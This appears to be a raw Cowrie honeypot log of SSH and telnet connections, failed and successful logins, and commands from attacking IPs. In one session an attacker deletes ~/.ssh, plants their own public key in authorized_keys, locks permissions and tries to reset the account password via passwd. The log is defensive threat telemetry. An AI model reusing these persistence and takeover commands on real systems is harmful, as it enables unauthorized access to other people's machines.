{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:54:8d:c3:25:de:0b:fa:1c:9c:fc:cd:e7:53:66:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1HyiERZ70BAxwxyvr8LqSRR9lR/Q7v0+suGyHOjeKzrk95MUOl1VriW6fL8WGgwOU8v27Isnhr7UaBBPCuT1TbPQMJX93zO2QQuMpRyMA+fzD81wEoNRtXMEKx+41MaeivWMXmLuRhNNqdWD0wFCAc9qtS/nfiIyVn2FWi6/GxJVF6YE1oohBXYUSHXxvDsW+fFcv0gdNrvlnMcjfd++9oJAbG4Y4vir81AdSGwyUtws04lRzvKf1PKN8OlsW8wPa04QvYlVtdVdHRXoMS66PDOuINU+s5KQ/rCVf6hsDz2dOx4jofU+eGQBYnHl7Nz1XV9pkcQSHF6qe/vBepDo9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:43.157906Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:43.246382Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.528077840805054,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:43.974013Z","src_ip":"38.60.198.128","session":"54bc531d4455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.35600757598877,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:52.065383Z","src_ip":"38.60.198.128","session":"e189e425e36d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50598,"dst_ip":"159.203.135.109","dst_port":23,"session":"0273079288b9","protocol":"telnet","message":"New connection: 38.60.198.128:50598 (159.203.135.109:23) [session: 0273079288b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:52.331606Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45246,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7f402366e3","protocol":"telnet","message":"New connection: 38.60.198.128:45246 (159.203.135.109:23) [session: 6f7f402366e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:53.524519Z"}
{"eventid":"cowrie.session.closed","duration":39.71593475341797,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:56.166632Z","src_ip":"38.60.198.128","session":"f6be62da7c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.02018451690674,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:56.384268Z","src_ip":"38.60.198.128","session":"0d1d826e7c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59560,"dst_ip":"159.203.135.109","dst_port":23,"session":"f626a7079c62","protocol":"telnet","message":"New connection: 38.60.198.128:59560 (159.203.135.109:23) [session: f626a7079c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:57.497772Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39236,"dst_ip":"159.203.135.109","dst_port":23,"session":"548e6455e4b0","protocol":"telnet","message":"New connection: 38.60.198.128:39236 (159.203.135.109:23) [session: 548e6455e4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:04.640809Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50554,"dst_ip":"159.203.135.109","dst_port":23,"session":"99a43c9d3ebd","protocol":"telnet","message":"New connection: 38.60.198.128:50554 (159.203.135.109:23) [session: 99a43c9d3ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:14.584916Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55418,"dst_ip":"159.203.135.109","dst_port":23,"session":"380878eaebe5","protocol":"telnet","message":"New connection: 38.60.198.128:55418 (159.203.135.109:23) [session: 380878eaebe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:19.246317Z"}
{"eventid":"cowrie.session.closed","duration":39.292996883392334,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:20.536934Z","src_ip":"192.211.53.160","session":"d202d5a63b2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.403956174850464,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:21.304645Z","src_ip":"38.60.198.128","session":"9f011380dceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c050b8e212ac","protocol":"telnet","message":"New connection: 38.60.198.128:59428 (159.203.135.109:23) [session: c050b8e212ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:22.911701Z"}
{"eventid":"cowrie.session.closed","duration":44.74096179008484,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:23.294391Z","src_ip":"38.60.198.128","session":"ad42ccc7a96b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60642,"dst_ip":"159.203.135.109","dst_port":23,"session":"69ecd2bfe95b","protocol":"telnet","message":"New connection: 38.60.198.128:60642 (159.203.135.109:23) [session: 69ecd2bfe95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:23.923298Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58936,"dst_ip":"159.203.135.109","dst_port":23,"session":"e24c0491681c","protocol":"telnet","message":"New connection: 38.60.198.128:58936 (159.203.135.109:23) [session: e24c0491681c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:24.523521Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34350,"dst_ip":"159.203.135.109","dst_port":23,"session":"1954ccb13b3b","protocol":"telnet","message":"New connection: 38.60.198.128:34350 (159.203.135.109:23) [session: 1954ccb13b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:25.813956Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":37084,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f4a69a131f","protocol":"ssh","message":"New connection: 198.98.56.205:37084 (159.203.135.109:22) [session: f8f4a69a131f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.408062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.416298Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.421780Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"administrator","message":"login attempt [admin/administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.475813Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.533540Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.536935Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.540816Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.551163Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.601834Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.606173Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.621118Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.624548Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":37088,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a862a7d2f40","protocol":"ssh","message":"New connection: 198.98.56.205:37088 (159.203.135.109:22) [session: 5a862a7d2f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.628596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.637631Z","src_ip":"198.98.56.205","session":"5a862a7d2f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.642744Z","src_ip":"198.98.56.205","session":"5a862a7d2f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:26.701763Z","src_ip":"198.98.56.205","session":"5a862a7d2f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:27.710347Z","src_ip":"198.98.56.205","session":"5a862a7d2f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":37098,"dst_ip":"159.203.135.109","dst_port":22,"session":"c300b6e787ee","protocol":"ssh","message":"New connection: 198.98.56.205:37098 (159.203.135.109:22) [session: c300b6e787ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:27.715445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:27.719754Z","src_ip":"198.98.56.205","session":"c300b6e787ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:27.725898Z","src_ip":"198.98.56.205","session":"c300b6e787ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:27.781615Z","src_ip":"198.98.56.205","session":"c300b6e787ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.795510Z","src_ip":"198.98.56.205","session":"c300b6e787ee","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.854243Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.857974Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.867856Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.920548Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"administrator\\nCthWEYzg9rDe\\nCthWEYzg9rDe\"|passwd|bash","message":"CMD: echo -e \"administrator\\nCthWEYzg9rDe\\nCthWEYzg9rDe\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.924766Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.928573Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.932629Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/57336b2fc0322b006632db4056c4ac70cc0ce31b163c782d2e413b77833b7955","size":32,"shasum":"57336b2fc0322b006632db4056c4ac70cc0ce31b163c782d2e413b77833b7955","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/57336b2fc0322b006632db4056c4ac70cc0ce31b163c782d2e413b77833b7955 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:28.944988Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.000570Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"administrator\\nCthWEYzg9rDe\\nCthWEYzg9rDe\\n\"|passwd","message":"CMD: echo \"administrator\\nCthWEYzg9rDe\\nCthWEYzg9rDe\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.003923Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/37f2f1a66b1f9cd0dfb070f20ca60a114bde3627e682d6d8f6c8dd36baaa81b4","size":25,"shasum":"37f2f1a66b1f9cd0dfb070f20ca60a114bde3627e682d6d8f6c8dd36baaa81b4","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/37f2f1a66b1f9cd0dfb070f20ca60a114bde3627e682d6d8f6c8dd36baaa81b4 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.017381Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.076084Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:29.079039Z","src_ip":"198.98.56.205","session":"f8f4a69a131f","protocol":"ssh"}
